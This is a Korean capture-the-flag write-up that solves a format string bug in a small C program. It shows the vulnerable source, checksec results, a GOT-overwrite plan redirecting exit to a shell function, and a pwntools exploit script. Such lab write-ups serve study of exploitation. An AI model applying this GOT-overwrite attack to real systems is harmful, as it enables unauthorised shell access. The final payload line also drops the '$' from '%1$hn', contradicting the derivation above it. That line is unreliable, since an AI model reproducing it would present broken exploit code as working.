1. Description
2. Check
2.1 C code
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell() {
system("/bin/sh");
}
int main(int argc, char *agrv[]) {
char buf[0x80];
initialize();
read(0, buf, 0x80);
printf(buf);
exit(0);
}
code description
void alarm_handler()
알람 역할을 하는 함수
void initialize()
입,출력 버퍼를 비우고, alarm을 호출해 30초 설정
get_shell()
shell을 실행시키는 함수
main()
buf를 0x80만큼 입력 받고,
printf(buf)로 출력. -> 하지만 형식 지정자가 안 정해져 있어 FSB에 취약하다.
exit(0) 함수로 프로그램 종료
2.2 file
32bit elf
2.3 checksec
Partial RELRO에
got 활용 가능
canary 도 없다.
bof를 쉽게 할 수 있음.
PIE 설정도 안 되어 있다.
코드 영역 ASLR 적용x
3. Design
exit의 got를 get_shell 함수의 주소로 설정하면 shell 획득 가능
got는 Partial RELRO가 걸려있어 활용 가능하고,
got에 쓰기 권한이 있으므로, %n을 활용해서 get_shell 함수의 주소로 GOT Overwrite를 하면 된다.
이렇게 되면 exit(0)를 실행할 때, get_shell 함수로 프로그램 흐름이 넘어가 shell을 실행한다.
4. Exploit
4.1 인자 순서
입력값과, %p를 통해서 buf가 몇번째 인자인지 알아야한다.
즉, 몇번째 인자부터 스택을 사용하는지 알아야한다.
첫번째 %p에서 buf에 AAAA를 바로 받는다.
4.2 get_shell 주소
get_shell 주소 획득
4.3 exit@got 주소
plt에서
jmp DWORD PTR ds:0x804a024
이것을 통해 0x804a024 이 주소가 exit@got를 알 수 있다.
4.4 정리
1. 입력할 때, 첫 번째 인자부터 buf이다.
2. get_shell 주소 0x8048609
3. exit@got 주소 0x804a024
입력값을 exit@got 주소를 넣는다. 그러면 buf에 exit@got 주소가 담겨져 있다.
그리고 buf가 첫번째 인자이므로, get_shell의 주소를 10진수로 바꿔 %c와 %n을 활용해 넣는다.
그렇게 되면 buf -> exit@got -> get_shell 이 된다.
하지만 0x8048609는 10진수로 134,514,185 으로 큰 숫자이다.
그래서 %hn을 사용해 2bytes씩 끊어서 넣어서 exploit code를 작성할 것이다.
0x804는 2052, 0x8609는 34313 이다.
하지만 앞에 (exit@got+2)와 (exit)을 써서 8bytes를 사용한 상태이다.
그래서 2052 - 8 = 2044, (exit@got+2)에 "%2044c%1$hn"을 쓰고,
또, 34313 - 2052 = 32261, (exit@got)에 "%32261c%2$hn"을 쓴다.
이렇게 (exit@got+2)에 0x804, (exit@got)에 0x8609를 다 넣었다.
거꾸로 넣는 이유는 little endian이기 때문이다.
4.5 exploit code
from pwn import *
p = process("./basic_exploitation_002")
exit_got = 0x804a024
payload = p32(exit_got+2) + p32(exit_got) + b"%2044c%1hn" + b"%32261c%2$hn"
p.send(payload)
p.interactive()
4.6 exploit result
성공적으로 shell 획득한 모습이다.
마치며
이렇게 FSB를 활용해서 문제를 풀어봤다.
Reference